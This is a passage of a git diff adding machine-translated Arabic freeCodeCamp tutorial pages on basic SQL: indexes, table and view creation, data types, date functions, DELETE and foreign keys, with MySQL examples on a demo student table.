+++ b/client/src/guide/arabic/sql/sql-create-index/index.md
@@ -0,0 +1,65 @@
+---
+title: SQL CREATE INDEX Statement
+localeTitle: SQL CREATE INDEX Statement
+---
+يتم استخدام عبارة CREATE INDEX لإنشاء فهارس في الجداول.
+
+يتم استخدام الفهارس لاسترداد البيانات من قاعدة البيانات بسرعة كبيرة. لا يمكن للمستخدمين رؤية الفهارس ، يتم استخدامها فقط لتسريع عمليات البحث / الاستعلامات.
+
+> **ملاحظة:** يستغرق تحديث جدول به فهارس وقتًا أطول من تحديث جدول بدون (لأن الفهارس تحتاج أيضًا إلى تحديث). لذلك ، أنشئ الفهارس فقط على الأعمدة التي سيتم البحث عنها بشكل متكرر.
+
+#### إنشاء بناء الجملة INDEX
+
+ينشئ فهرس على جدول. القيم المكررة مسموح بها:
+
+ `CREATE INDEX index_name 
+ ON table_name (column1, column2, ...); 
+` 
+
+#### خلق فريدة من نوعها INDEX البناء
+
+ينشئ فهرس فريد على جدول. القيم المكررة غير مسموح بها:
+
+ `CREATE UNIQUE INDEX index_name 
+ ON table_name (column1, column2, ...); 
+` 
+
+> **ملاحظة:** يختلف بناء جملة إنشاء الفهارس بين قواعد بيانات مختلفة. لذلك: تحقق من بناء الجملة لإنشاء فهارس في قاعدة البيانات الخاصة بك.
+
+#### CREATE INDEX مثال
+
+ينشئ عبارة SQL أدناه فهرس المسمى "idx\_lastname" على العمود "اسم العائلة" في جدول "الأشخاص":
+
+ `CREATE INDEX idx_lastname 
+ ON Persons (LastName); 
+` 
+
+إذا كنت تريد إنشاء فهرس على مجموعة من الأعمدة ، فيمكنك سرد أسماء الأعمدة داخل الأقواس ، مفصولة بفواصل: CREATE INDEX idx\_pname
+
+ `ON Persons (LastName, FirstName); 
+` 
+
+#### DROP INDEX بيان
+
+يتم استخدام عبارة DROP INDEX لحذف فهرس في جدول.
+
+**MS Access:**
+
+ `DROP INDEX index_name ON table_name; 
+` 
+
+**خادم قاعدة البيانات:**
+
+ `DROP INDEX table_name.index_name; 
+` 
+
+**DB2 / أوراكل:**
+
+ `DROP INDEX index_name; 
+` 
+
+**الخلية:**
+
+ `ALTER TABLE table_name 
+ DROP INDEX index_name; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-create-table-statement/index.md b/client/src/guide/arabic/sql/sql-create-table-statement/index.md
new file mode 100644
index 0000000000..486f0d6999
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-create-table-statement/index.md
@@ -0,0 +1,29 @@
+---
+title: SQL Create Table Statement
+localeTitle: SQL إنشاء بيان جدول
+---
+## SQL إنشاء بيان جدول
+
+الجدول هو مجموعة من البيانات المخزنة في قاعدة البيانات.
+
+لإنشاء جدول في قاعدة بيانات تستخدم عبارة `CREATE TABLE` . يمكنك إعطاء اسم إلى الجدول وقائمة بالأعمدة مع أنواع البيانات الخاصة بها.
+
+ `CREATE TABLE TABLENAME(Attribute1 Datatype, Attribute2 Datatype,........); 
+` 
+
+في ما يلي مثال على إنشاء جدول باسم الشخص:
+
+ `CREATE TABLE Person( 
+  Id int not null, 
+  Name varchar not null, 
+  DateOfBirth date not null, 
+  Gender bit not null, 
+  PRIMARY KEY( Id ) 
+ ); 
+` 
+
+في المثال أعلاه ، يكون لكل شخص اسم وتاريخ الميلاد وجنس. يعد عمود المعرّف هو المفتاح الذي يحدد شخصًا واحدًا في الجدول. يمكنك استخدام الكلمة الأساسية `PRIMARY KEY` لتكوين عمود واحد أو أكثر كمفتاح أساسي.
+
+لا يمكن أن يكون العمود `not null` أو `null` مما يشير إلى ما إذا كان إلزامياً أم لا.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-create-table/index.md b/client/src/guide/arabic/sql/sql-create-table/index.md
new file mode 100644
index 0000000000..5064cd31eb
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-create-table/index.md
@@ -0,0 +1,131 @@
+---
+title: SQL Create Table
+localeTitle: SQL إنشاء جدول
+---
+# SQL إنشاء جدول
+
+## المقدمة
+
+هذا الدليل عبارة عن نظرة عامة حول أساسيات دالات SQL `CREATE TABLE` .
+
+سوف نستخدم MySQL لجميع الأمثلة في جميع أنحاء أدلة SQL freeCodeCamp. MySQL يستخدم بشكل متكرر على مواقع الويب لقاعدة البيانات الخلفية ، 2) إنه مجاني ، وهو ممتع وسهل الاستخدام.
+
+## مغطاة في هذا الدليل
+
+*   إنشاء مخطط ، الحاوية لجميع كائنات قاعدة البيانات الخاصة بنا.
+*   إنشاء جدول حتى يكون لدينا شيء لتغييره.
+*   إنشاء جدول عن طريق استيراد ملف CSV وتعديل هذا الجدول
+*   إنشاء جدول باستخدام أداة طاولة العمل MySQL
+
+نقوم بمعظم هذا العمل باستخدام عبارات SQL في أداة البرمجة النصية لـ MySQL. سنرى أيضًا كيفية إنشاء جدول باستخدام واجهة طاولة العمل بدلاً من عبارات SQL.
+
+## بنية عالية المستوى لقاعدة بيانات علائقية
+
+1.  اعلى مستوى؛ قاعدة البيانات تثبيت نظام قاعدة البيانات. في هذه الحالة ، إنها MySQL. تسمى "الموجه المحلي" MySQL Router "" في لقطات الشاشة أعلاه.
+2.  التالي هو المخطط حاوية للكائنات المطلوبة للبيانات المدارة في نظام قاعدة بيانات علائقية.
+3.  كائنات نقوم بإنشائها (جداول ، فهارس ، إجراءات مخزنة ، وظائف) لإدارة النظام وبياناته
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/create_table01.JPG?raw=true)
+
+## إنشاء مخطط MySQL
+
+المخطط عبارة عن حاوية للكائنات المطلوبة لإدارة البيانات لموضوع أو عملية معينة. نعرض أمثلة أثناء تقدمنا ​​في هذا الدليل.
+
+سنقوم بإنشاء المخطط للتعلم والاختبار باستخدام الأمر SQL ؛
+
+ `create database fCC_alterTableGuide; 
+` 
+
+هذه الأمثلة بنية المخطط قبل تشغيل هذا الأمر
+
+![صورة-2](https://github.com/SteveChevalier/guide-images/blob/master/create_table02.JPG?raw=true)
+
+هذه الأمثلة بنية المخطط بعد تشغيل عبارة SQL
+
+![صورة 3](https://github.com/SteveChevalier/guide-images/blob/master/create_table03.JPG?raw=true)
+
+## إنشاء جدول ، إضافة بيانات اختبار مع "إدراج" ، إعادة تسمية الجدول (تغيير)
+
+سنقوم بإنشاء جدول الطالب.
+
+ستكون الخطوات:
+
+1.  تأكد من عدم وجود الطاولة بالفعل
+    
+2.  إنشاء الجدول
+    
+3.  إدخال بيانات الاختبار.
+    
+
+*   أنواع البيانات: اسم الطالب هو حقل حرف محدد بـ 90 حرفًا
+*   معرف الطالب هو رقم (عدد صحيح) (نطاق من -2147483648 إلى 2147483647). سيكون هذا هو المفتاح الأساسي للجدول وسيتم زيادته تلقائيًا عند إضافة سجل.
+*   سيكون هناك أيضا حقلين "time-stamp" للعب مع كذلك
+
+إنشاء بيان وعرض النتائج من التنفيذ ؛
+
+![صورة 4](https://github.com/SteveChevalier/guide-images/blob/master/create_table04.JPG?raw=true)
+
+باستخدام عبارة Select ، سنرى أن الجدول موجود ، ولكن تمت إضافة السجلات الآن.
+
+![صورة 5](https://github.com/SteveChevalier/guide-images/blob/master/create_table05.JPG?raw=true)
+
+الآن لإدخال بعض البيانات ونرى كيف يبدو جدولنا الجديد مع السجلات الموجودة فيه (وفهم إنشاء الطوابع الزمنية وتحديثها) ؛
+
+![صورة 6](https://github.com/SteveChevalier/guide-images/blob/master/create_table06.JPG?raw=true)
+
+أول ختم زمني هو بيانات الإنشاء والوقت والثاني هو تاريخ التحديث ووقته. تغيير سجل يجب تحديث ts2 ولكن لا ts1. لنلقي نظرة.
+
+![صورة-7](https://github.com/SteveChevalier/guide-images/blob/master/create_table07.JPG?raw=true)
+
+## إنشاء جدول مع MySql Workbench
+
+انقر بزر الماوس الأيمن على "الجداول" أسفل المخطط الذي تريد وضع الملف الجديد فيه. حدد "إنشاء جدول".
+
+![صورة-8](https://github.com/SteveChevalier/guide-images/blob/master/create_table08.JPG?raw=true)
+
+أكمل النموذج كما ترغب وانقر فوق تطبيق
+
+![صورة-9](https://github.com/SteveChevalier/guide-images/blob/master/create_table09.JPG?raw=true)
+
+## إنشاء جدول باسم تحديد (CTAS)
+
+طريقة سريعة لإنشاء نسخة من جدول ، بما في ذلك البيانات هي إنشاء جدول كمحدد.
+
+CREATE TABLE my _table as (SELECT \* FROM orig_ tbl)؛
+
+## قم بإنشاء جدول وملئه عن طريق استيراد ملف CSV
+
+انقر بزر الماوس الأيمن على "الجداول" أسفل المخطط الذي تريد وضع الملف الجديد فيه. حدد استيراد بيانات الجدول.
+
+![صورة 10](https://github.com/SteveChevalier/guide-images/blob/master/create_table10.JPG?raw=true)
+
+حدد ملف CSV لاستيراد وانقر فوق NEXT عادة ما تقوم بإنشاء جدول جديد من البيانات ، حدد الخيارات المطلوبة وانقر فوق NEXT
+
+![صورة-11](https://github.com/SteveChevalier/guide-images/blob/master/create_table11.JPG?raw=true)
+
+اضبط أنواع البيانات حسب الحاجة وانقر فوق NEXT
+
+![صورة 12](https://github.com/SteveChevalier/guide-images/blob/master/create_table12.JPG?raw=true)
+
+انقر فوق NEXT (على هذه الشاشة والصفحة التالية التي يتم عرضها) لاستيراد البيانات إلى الجدول ستشاهد حالة الإكمال والمراجعة والنقر على "إنهاء"
+
+![صورة-13](https://github.com/SteveChevalier/guide-images/blob/master/create_table13.JPG?raw=true)
+
+![صورة 14](https://github.com/SteveChevalier/guide-images/blob/master/create_table14.JPG?raw=true)
+
+## مواد أخرى
+
+هناك الكثير من التفاصيل لتغطية هذا الموضوع حتى تثبيت MySQL والمتعة!
+
+### أين يمكنني الحصول على MySQL
+
+جرب \[هذا التنزيل لمستخدمي نظام تشغيل Windows \[(https://dev.mysql.com/downloads/windows/)
+
+### مستندات MySQL
+
+*   [صفحة دليل](https://dev.mysql.com/doc/refman/5.7/en/alter-table.html)
+*   [أمثلة من دليل](https://dev.mysql.com/doc/refman/5.7/en/alter-table-examples.html)
+
+### وثائق SQL Server
+
+*   [مستندات Microsoft](https://docs.microsoft.com/en-us/sql/t-sql/statements/create-table-transact-sql)
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-create-view-statement/index.md b/client/src/guide/arabic/sql/sql-create-view-statement/index.md
new file mode 100644
index 0000000000..c081a3b846
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-create-view-statement/index.md
@@ -0,0 +1,75 @@
+---
+title: SQL Create View Statement
+localeTitle: SQL انشاء عرض بيان
+---
+## SQL انشاء عرض بيان
+
+### ما هو رأي؟
+
+A View هو كائن قاعدة بيانات يقدم البيانات الموجودة في جدول واحد أو أكثر. يتم استخدام المشاهدات بطريقة مشابهة للجداول ، ولكنها لا تحتوي على أي بيانات. هم فقط "يشيرون" إلى البيانات الموجودة في مكان آخر (الجداول أو وجهات النظر ، على سبيل المثال).
+
+### لماذا نحبهم؟
+
+*   تعد المشاهدات طريقة للحد من البيانات المقدمة. على سبيل المثال ، تمت تصفية بيانات إدارة الموارد البشرية لتقديم معلومات غير حساسة فقط. قد تكون المعلومات الحساسة في هذه الحالة أرقام الضمان الاجتماعي ، والجنس للموظف ، والمدفوعات ، وعنوان المنزل ، إلخ.
+*   يمكن دمج البيانات المعقدة عبر أكثر من جدول في "عرض" واحد. هذا يمكن أن يجعل الحياة أسهل لمحللي عملك والمبرمجين.
+
+### نصائح مهمة للسلامة
+
+*   يتم إدارة المشاهدات بواسطة النظام. عندما يتم تغيير أو إضافة أو تحديث البيانات في الجداول المرتبطة ، يتم تحديث العرض بواسطة النظام. نحن نرغب في استخدام هذه فقط عند الحاجة لإدارة استخدام موارد النظام.
+*   في MySQL ، لا يتم تحديث التغييرات على تصميم الجدول (أي ، الأعمدة الجديدة أو المنسدلة) بعد إنشاء عرض في العرض نفسه. يجب تحديث العرض أو إعادة إنشائه.
+*   طرق العرض هي واحدة من أربعة أنواع كائن قاعدة البيانات القياسية. الآخرون هم الجداول والإجراءات المخزنة والوظائف.
+*   يمكن عادةً معالجة طرق العرض كما تفعل مع جدول ، ولكن التحديثات محدودة أو غير متوفرة عندما يحتوي العرض على أكثر من جدول.
+*   هناك العديد من التفاصيل الأخرى حول المشاهدات التي تقع خارج نطاق هذا الدليل التمهيدي. قضاء بعض الوقت مع دليل مديري قواعد البيانات الخاصة بك والمتعة مع هذا الكائن SQL قوية.
+
+### بناء جملة إنشاء بيان عرض (MySQL)
+
+ `CREATE 
+    [OR REPLACE] 
+    [ALGORITHM = {UNDEFINED | MERGE | TEMPTABLE}] 
+    [DEFINER = { user | CURRENT_USER }] 
+    [SQL SECURITY { DEFINER | INVOKER }] 
+    VIEW view_name [(column_list)] 
+    AS select_statement 
+    [WITH [CASCADED | LOCAL] CHECK OPTION] 
+` 
+
+_سيغطي هذا الدليل هذا الجزء من البيان ..._
+
+ `CREATE 
+    VIEW view_name [(column_list)] 
+    AS select_statement 
+` 
+
+### إنشاء نموذج للعرض من جداول الطلاب
+
+ملاحظات:
+
+*   يحتوي اسم العرض على "v" في النهاية. من المستحسن أن يشير اسم العرض إلى أنه طريقة عرض لجعل الحياة أسهل بالنسبة للمبرمجين ومسؤولي قواعد البيانات. يجب أن يكون لدى متجر تكنولوجيا المعلومات قواعده الخاصة بشأن تسمية الكائنات.
+    
+*   تقتصر الأعمدة في طريقة العرض على SELECT وصفوف البيانات حسب جملة WHERE.
+    
+*   مطلوب حرف "\` "حول أسماء العرض بسبب" - "في الأسماء. تقارير MySQL خطأ بدونها.
+    
+
+ ``create view `programming-students-v` as 
+ select FullName, programOfStudy 
+ from student 
+ where programOfStudy = 'Programming'; 
+ 
+ select * from `programming-students-v`; 
+`` 
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/create-view-statement01.JPG?raw=true)
+
+### عينة من استخدام طريقة عرض لدمج البيانات من أكثر من جدول واحد
+
+تمت إضافة جدول ديموغرافي للطلاب إلى قاعدة البيانات لإظهار هذا الاستخدام. هذا الرأي سوف يجمع بين هذه الجداول.
+
+ملاحظات:
+
+*   ل "الانضمام" الجداول ، يجب أن تحتوي الجداول على حقول مشتركة (عادةً المفاتيح الأساسية) التي تميز كل صف بشكل فريد. في هذه الحالة هو معرف الطالب. (المزيد على هذا في دليل [انضمام SQL](../sql-joins/index.md) ).
+*   لاحظ "الاسم المستعار" المعطى لكل جدول ("s" للطالب و "sc" للاتصال الطالب). هذه أداة لتقصير أسماء الجداول وتسهيل تحديد الجدول الذي يتم استخدامه. أسهل من كتابة أسماء الجداول الطويلة بشكل متكرر. في هذا المثال ، كان مطلوبًا لأن studentID هو نفس اسم العمود في كلا الجدولين ، وسيقدم النظام "خطأ في اسم عمود غامض" بدون تحديد أي جدول لاستخدامه.
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/create-view-statement02.JPG?raw=true)
+
+_كما هو الحال مع كل هذه الأشياء ، هناك الكثير من المشاهدات. يرجى الاطلاع على دليل مدير قاعدة البيانات الخاص بك والمتعة محاولة خيارات مختلفة بنفسك._
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-data-types/index.md b/client/src/guide/arabic/sql/sql-data-types/index.md
new file mode 100644
index 0000000000..0884e9de95
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-data-types/index.md
@@ -0,0 +1,25 @@
+---
+title: SQL Data Types
+localeTitle: أنواع بيانات SQL
+---
+# أنواع بيانات SQL
+
+يجب أن يحتوي كل عمود في جدول على نوع بيانات. يشير إلى نوع القيمة التي يخزنها العمود.
+
+يمكن لكل قاعدة بيانات قبول أنواع بيانات مختلفة ، ولكن بشكل عام ، قائمة أنواع البيانات هي:
+
+### أنواع السلاسل
+
+نوع البيانات | وصف ------------ | ------------- `CHAR(n)` | سلسلة أحرف. طول ثابت n. الحد الأدنى للطول هو 1. إذا قمت بتعيين قيمة لعمود CHAR يحتوي على أحرف أقل من الطول المحدد ، فسيتم ملء المساحة المتبقية بأحرف فارغة. `VARCHAR(n)` | سلسلة أحرف. طول متغير. أقصى طول n. الحد الأدنى للطول هو 1 `BINARY(n)` | سلسلة ثنائية. طول ثابت n `VARBINARY(n)` أو `BINARY VARYING(n)` | سلسلة ثنائية. طول متغير. أقصى طول n
+
+### أنواع العددين
+
+نوع البيانات | وصف ------------ | ------------- `INTEGER` | عدد صحيح صحيح. من 2،147،483،648 إلى 2،147،483،647. `SMALLINT` | عدد صحيح صحيح. من -32،768 إلى 32،767 `BIGINT` | عدد صحيح صحيح. من -9،223،372،036،854،775،808 إلى 9،223،372،036،854،775،807 `DECIMAL(p,s)` أو `NUMERIC(p,s)` | الدقة العددية ، الدقة p ، المقياس s. الدقة هي أقصى عدد إجمالي للأرقام العشرية التي سيتم تخزينها ، إلى اليسار وإلى يمين النقطة العشرية. Scale هو عدد الأرقام العشرية التي سيتم تخزينها إلى يمين النقطة العشرية. يتم طرح هذا الرقم من p لتحديد الحد الأقصى لعدد الأرقام إلى يسار العلامة العشرية. مثال: عشري (5،2) هو رقم يحتوي على 3 أرقام قبل العلامة العشرية و 2 رقم بعد العلامة العشرية. `FLOAT(p)` | تقريبية العددية ، ع د دقة mantissa. رقم عائم في الترميز الأسي 10 الأساسي. تتكون وسيطة الحجم لهذا النوع من رقم واحد يحدد الحد الأدنى من الدقة `REAL` تقديري رقمي ، دقة عشري 7 `FLOAT` | التقريبي العددية ، دقة mantissa 16 `DOUBLE PRECISION` | التقريبي العددية ، دقة mantissa 16
+
+### التاريخ والوقت أنواع
+
+نوع البيانات | وصف ------------ | ------------- `DATE` | مخازن السنة والشهر واليوم القيم `TIME` | قيم الساعات والدقيقة والثواني للمتاجر `DATETIME` | مخازن السنة والشهر واليوم والساعة والدقيقة والثانية القيم `TIMESTAMP` | يخزن عدد الثواني منذ عصر يونكس `TIME WITH TIME ZONE` | مخازن الوقت من اليوم مع المنطقة الزمنية `TIMESTAMP WITH TIME ZONE` | الطابع الزمني للمتجر مع المنطقة الزمنية
+
+### أنواع البيانات الأخرى
+
+نوع البيانات | وصف ------------ | ------------- `BOOLEAN` | يخزن القيم `TRUE` أو `FALSE` `ARRAY` | مجموعة من الطول ومجموعة من العناصر المطلوبة `MULTISET` | مجموعة متغيرة الطول وغير مرتبة من العناصر `XML` | تخزين بيانات XML
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-date-functions/index.md b/client/src/guide/arabic/sql/sql-date-functions/index.md
new file mode 100644
index 0000000000..f7818c8e2b
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-date-functions/index.md
@@ -0,0 +1,70 @@
+---
+title: SQL Date Functions
+localeTitle: دالات تاريخ SQL
+---
+## دالات تاريخ SQL
+
+### المقدمة
+
+هناك 61 دالات تاريخ محددة في MySQL. لا تقلق ، لن نراجعها جميعًا هنا. سيعطيك هذا الدليل مقدمة عن بعض العناصر الشائعة ، ويعرض لك ما يكفي لاستكشافه بنفسك بشكل مريح.
+
+سوف نغطي:
+
+*   الحصول على التاريخ الحالي
+*   تاريخ الرياضيات
+*   التواريخ في مكان أو وجود شرط
+
+### الحصول على التاريخ الحالي
+
+الحصول على التاريخ من النظام يمكن أن يكون سهل جدا لمعالجة البيانات باستخدام SQL.
+
+ `-- current date 
+ select now(), sysdate(), current_date(), current_time(), -- date and time from the system on execution 
+ dayofyear(now()) as NumDaysSoFarThisYr, 
+ EXTRACT(YEAR FROM now()) as theYearPart, 
+ EXTRACT(YEAR_MONTH FROM now()) as theYrMonPart, 
+ date_format(now(), '%W %M %Y') as oneOfManyFormats; 
+ ; 
+` 
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/date-functions04.JPG)
+
+في استعلام SQL ، نرى ما يلي:
+
+*   أول عمودين في النتيجة هما طريقتان للحصول على نفس المعلومات: التاريخ على النظام في وقت تنفيذ SQL.
+*   يقوم العمودان التاليان بتقسيم أجزاء التاريخ والوقت فقط من تاريخ النظام.
+*   يعرض المثال التالي "رقم اليوم" من تاريخ النظام في هذا العام. ستلاحظ أن هذا هو يوم واحد أكثر من الرياضيات الموضحة في المثال التالي.
+*   المقتطفان التاليان هما العام فقط ثم كل من العام والشهر
+*   أخيرًا وليس آخرًا ، يوجد مثال واحد لإحدى الطرق العديدة لتنسيق هذه التواريخ.
+
+### تاريخ الرياضيات
+
+ `select now(), current_date(), 
+ datediff(now(),'2017-01-01') as daysThisYear, 
+ subdate(current_date(), interval 150 day) as '150DaysAgo', 
+ adddate(now(), interval 7 day) as dateInA_Week -- date in a week 
+ ; 
+` 
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/date-functions02.jpg)
+
+هنا نرى:
+
+*   أول عمودين هما فقط تاريخ النظام ووقته للرجوع إليه.
+*   العمود الثاني هو اختلاف التاريخ (dateiff) بين الأول من يناير 2017 وتاريخ النظام.
+*   آخر عمودين هما أمثلة على طرح وإضافة التواريخ.
+
+### في مكان أو وجود شرط
+
+فيما يلي مثالان على استخدام تاريخ الرياضيات في مكان جملة:
+
+ `select * from student; - to show the current data being used for the example 
+ select * from student where recordCreated < '2017-01-01'; 
+ select * from student where recordCreated < subdate(current_date(), interval 225 day); 
+` 
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/date-functions03.jpg)
+
+بالنسبة للجزء HAVING: ضع في اعتبارك ، أن معظم منطق جملة WHERE سيعمل أيضًا في جملة HAVING من GROUP BY. الفرق بين الاثنين هو أن جملة WHERE تعمل مقابل البيانات الكاملة ، ويعمل HAVING على البيانات المجمعة بواسطة جملة GROUP BY.
+
+_كما هو الحال مع كل هذه الأشياء ، هناك الكثير منها أكثر من ما هو موجود في هذا الدليل التمهيدي. آمل أن يمنحك هذا على الأقل ما يكفي للبدء. يرجى الاطلاع على دليل مدير قاعدة البيانات الخاص بك والمتعة محاولة خيارات مختلفة بنفسك._
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-delete-statement/index.md b/client/src/guide/arabic/sql/sql-delete-statement/index.md
new file mode 100644
index 0000000000..496dcd017f
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-delete-statement/index.md
@@ -0,0 +1,30 @@
+---
+title: SQL Delete Statement
+localeTitle: SQL حذف بيان
+---
+## SQL حذف بيان
+
+لحذف سجل في جدول تستخدم العبارة `DELETE` .
+
+كن حذرا. يمكنك حذف جميع سجلات الجدول أو مجرد عدد قليل. استخدم شرط `WHERE` لتحديد السجلات التي تريد حذفها. الصيغة هي:
+
+ `DELETE FROM table_name 
+ WHERE condition; 
+` 
+
+إليك مثال على الحذف من الجدول Person the record with Id 3:
+
+ `DELETE FROM Person 
+ WHERE Id = 3; 
+` 
+
+باستخدام DELETE لإزالة كافة السجلات من جدول محدد
+
+ `DELETE * FROM Person 
+ ; 
+` 
+
+أو اعتمادًا على RDBMS الخاص بك ، يمكنك استخدام عبارة TRUNCATE TABLE التي تقوم بحذف كافة السجلات من جدول ، كما قد تسمح أو لا تسمح بالتراجع طبقًا لـ RDBMS الخاص بك. DELETE هو DML و TRUNCATE هو DDL.
+
+ `TRUNCATE TABLE Person; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-drop-view-statement/index.md b/client/src/guide/arabic/sql/sql-drop-view-statement/index.md
new file mode 100644
index 0000000000..29fe19ada7
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-drop-view-statement/index.md
@@ -0,0 +1,63 @@
+---
+title: SQL Drop View Statement
+localeTitle: SQL إسقاط عرض بيان
+---
+## SQL إسقاط عرض بيان
+
+### المقدمة
+
+يغطي هذا الدليل عبارة SQL لإسقاط (حذف) واحد أو أكثر من كائنات العرض.
+
+A View هو كائن يقدم البيانات من جدول واحد أو أكثر.
+
+ملاحظة: قبل حذف البيانات أو الكائنات أو تغييرها ، تذكر أن يكون لديك نسخة احتياطية جديدة.
+
+سوف نغطي:
+
+*   باستخدام SQL لإسقاط جدول
+*   استخدام طاولة العمل لإسقاط العرض
+
+سنستخدم MySQL للتخلص من الدم. تحقق من دليل لهذه الوظيفة في مدراء قواعد البيانات الآخرين.
+
+سنسقط العرض الذي يسمى `students_dropMe_v` ، والذي تم إنشاؤه لهذا الغرض فقط.
+
+### بناء الجملة الأساسي
+
+ `DROP VIEW [IF EXISTS] 
+    view_name [, view_name] ... 
+` 
+
+### إسقاط عرض SQL
+
+الجزء الموجود في حالة وجود أخطاء "اعتراض" ، في حالة عدم وجود طريقة العرض.
+
+ `drop view if exists students_dropMe_v; 
+` 
+
+طريقة العرض بعد الإنشاء:
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/drop-view01.JPG)
+
+فوق الأمر المنفذة والآراء المعروضة:
+
+![صورة-2](https://github.com/SteveChevalier/guide-images/blob/master/drop-view02.JPG)
+
+### باستخدام طاولة العمل
+
+من طاولة العمل: 1) انقر بزر الماوس الأيمن على العرض لإسقاط 2) حدد وجهة نظر قطرة من القائمة 3) حدد إما أ) تشغيل SQL لمراجعة عبارة SQL ليتم تنفيذها أو ب) إفلات جديدة
+
+![صورة 3](https://github.com/SteveChevalier/guide-images/blob/master/drop-view03.JPG)
+
+\* كما هو الحال مع جميع هذه الأشياء SQL هناك أكثر من ذلك بكثير من ما هو موجود في هذا الدليل التمهيدي. آمل أن يمنحك هذا على الأقل ما يكفي للبدء.
+
+يرجى الاطلاع على دليل مدير قاعدة البيانات والمتعة في تجربة خيارات مختلفة بنفسك. \*
+
+### إضافي
+
+إليك SQL الذي استخدمته لإنشاء الجدول الذي قمنا بإسقاطه للتو:
+
+ ``create view `students_dropMe_v` as 
+ select FullName, programOfStudy 
+ from student 
+ where programOfStudy = 'Programming'; 
+``
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-foreign-key-constraint/index.md b/client/src/guide/arabic/sql/sql-foreign-key-constraint/index.md
new file mode 100644
index 0000000000..35eefe4b13
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-foreign-key-constraint/index.md
@@ -0,0 +1,93 @@
+---
+title: SQL Foreign Key Constraint
+localeTitle: SQL الخارجية مفتاح القيد
+---
+## SQL الخارجية مفتاح القيد
+
+المفتاح الخارجي هو مفتاح يستخدم لربط جدولين. يتم ربط الجدول مع "مفتاح خارجي" (الملقب "جدول الطفل") إلى جدول آخر (aka ، "الجدول الأصل"). يقع الاتصال بين قيد المفتاح الخارجي في الجدول الفرعي والمفتاح الأساسي للجدول الأصل.
+
+يتم استخدام قيود المفتاح الخارجي للمساعدة في الحفاظ على التناسق بين الجداول. على سبيل المثال ، إذا تم حذف سجل الجدول الأصل وكان الجدول الفرعي يحتوي على سجلات ، يمكن للنظام أيضًا حذف السجلات الفرعية.
+
+كما أنها تساعد على منع إدخال بيانات غير دقيقة في الجدول التابع من خلال المطالبة بسجل جدول أساسي لكل سجل تم إدخاله في الجدول التابع.
+
+### مثال على الاستخدام
+
+بالنسبة إلى هذا الدليل ، سنلقي نظرة عن قرب على جداول الطلاب (الوالدين) وطالب الاتصال (الطفل).
+
+### المفتاح الأساسي للجدول الأصل
+
+لاحظ أن جدول الطالب يحتوي على مفتاح أساسي عمود واحد للطالب.
+
+ `SHOW index FROM student; 
+` 
+
+ `+---------+------------+----------+--------------+-------------+ 
+ | Table   | Non_unique | Key_name | Seq_in_index | Column_name | 
+ +---------+------------+----------+--------------+-------------+ 
+ | student |          0 | PRIMARY  |            1 | studentID   | 
+ +---------+------------+----------+--------------+-------------+ 
+ 1 row in set (0.00 sec) (some columns removed on the right for clarity) 
+` 
+
+### مفاتيح الجدول الأساسي والأجنبي للطفل
+
+يحتوي جدول معلومات الاتصال الخاصة بالطالب على مفتاح أساسي واحد وهو أيضًا الطالب الطالب. هذا لأن هناك علاقة رأس برأس بين الجدولين. وبعبارة أخرى ، فإننا نتوقع أن يكون هناك طالب واحد فقط وسجل طالب واحد لكل طالب.
+
+ ``SHOW index FROM `student-contact-info`; 
+`` 
+
+ `+----------------------+------------+----------+--------------+-------------+ 
+ | Table                | Non_unique | Key_name | Seq_in_index | Column_name | 
+ +----------------------+------------+----------+--------------+-------------+ 
+ | student-contact-info |          0 | PRIMARY  |            1 | studentID   | 
+ +----------------------+------------+----------+--------------+-------------+ 
+ 1 row in set (0.00 sec) (some columns removed on the right for clarity) 
+` 
+
+ `SELECT concat(table_name, '.', column_name) AS 'foreign key', 
+ concat(referenced_table_name, '.', referenced_column_name) AS 'references' 
+ FROM information_schema.key_column_usage 
+ WHERE referenced_table_name IS NOT NULL 
+ AND table_schema = 'fcc_sql_guides_database' 
+ AND table_name = 'student-contact-info'; 
+` 
+
+ `+--------------------------------+-------------------+ 
+ | foreign key                    | references        | 
+ +--------------------------------+-------------------+ 
+ | student-contact-info.studentID | student.studentID | 
+ +--------------------------------+-------------------+ 
+ 1 row in set (0.00 sec) 
+` 
+
+### مثال على التقرير باستخدام جدول الطالب الرئيسي والجدول الفرعي للاتصال
+
+ ``SELECT a.studentID, a.FullName, a.programOfStudy, 
+ b.`student-phone-cell`, b.`student-US-zipcode` 
+ FROM student AS a 
+ JOIN `student-contact-info` AS b ON a.studentID = b.studentID; 
+`` 
+
+ `+-----------+------------------------+------------------+--------------------+--------------------+ 
+ | studentID | FullName               | programOfStudy   | student-phone-cell | student-US-zipcode | 
+ +-----------+------------------------+------------------+--------------------+--------------------+ 
+ |         1 | Monique Davis          | Literature       | 555-555-5551       |              97111 | 
+ |         2 | Teri Gutierrez         | Programming      | 555-555-5552       |              97112 | 
+ |         3 | Spencer Pautier        | Programming      | 555-555-5553       |              97113 | 
+ |         4 | Louis Ramsey           | Programming      | 555-555-5554       |              97114 | 
+ |         5 | Alvin Greene           | Programming      | 555-555-5555       |              97115 | 
+ |         6 | Sophie Freeman         | Programming      | 555-555-5556       |              97116 | 
